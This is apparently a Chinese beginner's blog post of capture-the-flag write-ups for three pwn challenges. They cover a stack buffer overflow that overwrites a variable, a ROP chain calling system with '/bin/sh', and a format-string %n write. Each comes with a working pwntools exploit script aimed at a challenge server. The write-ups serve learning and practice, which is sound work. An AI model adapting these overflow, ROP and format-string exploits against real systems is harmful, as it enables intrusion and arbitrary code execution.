pwn(究极入门)

不能说是逆向转pwn吧,主要是想拓展一下,这两者之间的关系也挺大的

1.攻防世界-when_did_you_born

除去连上就有flag,这个应该就是最简单的题目了吧
惯例,checksec,这里有四种保护机制,有大佬的链接,这个要弄很清楚,尤其是PIE,以后慢慢来吧
https://www.jianshu.com/p/8a9ef7205632
pwn(究极入门)_第1张图片
没有PIE和FORTIFY(这边作者也不是太懂,很菜,多多包涵啦)
运行一下,要求输入一个birth,然后输入一个name
pwn(究极入门)_第2张图片
ida分析pwn(究极入门)_第3张图片
看到get函数我就放心了,妥妥的缓冲区溢出,查看v4果然下面就是v5
pwn(究极入门)_第4张图片
思路很简单,v4缓冲溢出,覆盖v5,然后继续运行就ok了
exp如下(因为这是第一次pwn,所以这边exp好好解释了一下)

from pwn import *							//pwntools小工具,百度就可以搜出来安装方式
p=remote("111.198.29.45",55887)	//远程连接服务器
p.recvuntil("What's Your Birth?")		//直到收到第一个字符串后
p.sendline("1944")							//进行回复,这里避开1926就行
p.recvuntil("What's Your Name?")	//直到收到第二个字符串后
payload='a'*(0x8)+p64(0x786)		//0x8是两个变量之间差的偏移量,后面跟0x786是1926,既把修改v5
p.sendline(payload)							//回复
p.interactive()									//允许互动

这里面p64、p32,我看网上说都是打包,我的个人理解就是数字变成相应的地址的数字,以为sendline都是发送的字符串,按照ascii码进行划分的,有时候一些01、02的码写不出来对应的chr码,所以需要用P64来转一下,下面附上大佬地址,大家可以了解一下
https://blog.csdn.net/qq_29343201/article/details/51337025

后面的hello和level0都和第一题一样这里就不再赘余,可以拿来练练exp

偏移量小差

偏移量主要看输入点和最终的溢出目标值的栈之间的距离(前提是缓冲区已经被填满了),现在我做题一般都是ESP,然后和输入点进行差值运算

level2

这道题是一道ROP的入门题,溢出retn值来进入到bin/sh中去,但这道题是造了一个伪栈帧,将独立出来的bin/sh作为参数放到了system里面去,不多说先分析
pwn(究极入门)_第5张图片
emmmmmmmm都开了,但是好像没有什么影响,我还是可以ROP
ida分析有个vulnerable函数(这不明摆着让攻击的嘛)
pwn(究极入门)_第6张图片
buf缓冲为0x88,然后ida动调一下,可以从堆栈区里看到到retn还需要再加4,所以应该输入0x8c,查找字符串
pwn(究极入门)_第7张图片
然后写exp就好了

from pwn import *
p=remote("111.198.29.45",42449)
p.recvuntil("Input:")
payload='a'*(0x88+0x4)+p32(0x08048320)+p32(0x11111111)+p32(0x0804A024)
p.sendline(payload)
p.interactive()

后面还有一个guess_num,基本原理也是一样的,其中用到了srabd,所以多了一个ctypes,这里需要找一个libc共享库,下面是大佬的链接,比较详细,这里就不在赘余
https://www.jianshu.com/p/0bc6c65addfd

CGfsb(格式化字符串的简单利用)

先附上大佬的网址,很清楚很详细
https://blog.csdn.net/qq_43394612/article/details/85196669
直接printf(%s),如果s里面有%x %n %s %p此类具有格式化意思字符,他就会打印出相应的内存地址,其中%n还可以将%n之前打印出来的字符个数,赋值给一个变量,这样我们就可以改变内存变量了,后面分析题
ida分析,我们的目的是通过下面条件,pwnme是一个.bss变量,位置不变
pwn(究极入门)_第8张图片
pwn(究极入门)_第9张图片
然后通过虚拟机运行程序,找到输入点的偏移量,算一算是10(从开始到从61出现那一块)
pwn(究极入门)_第10张图片
然后exp

from pwn import *
p=remote("111.198.29.45",55462)
p.recvuntil("please tell me your name:")
p.sendline("111")
p.recvuntil("leave your message please:")
payload=p32(0x0804A068)+"1111%10$n"				//这边的1111是用来提供那个pwnme=8的
p.sendline(payload)
p.interactive()

emmmmmmmmmm因为是刚刚开始学习pwn里面肯定会有很多理解错误,希望大佬们多多指正啦

你可能感兴趣的:(pwn,pwn,入门)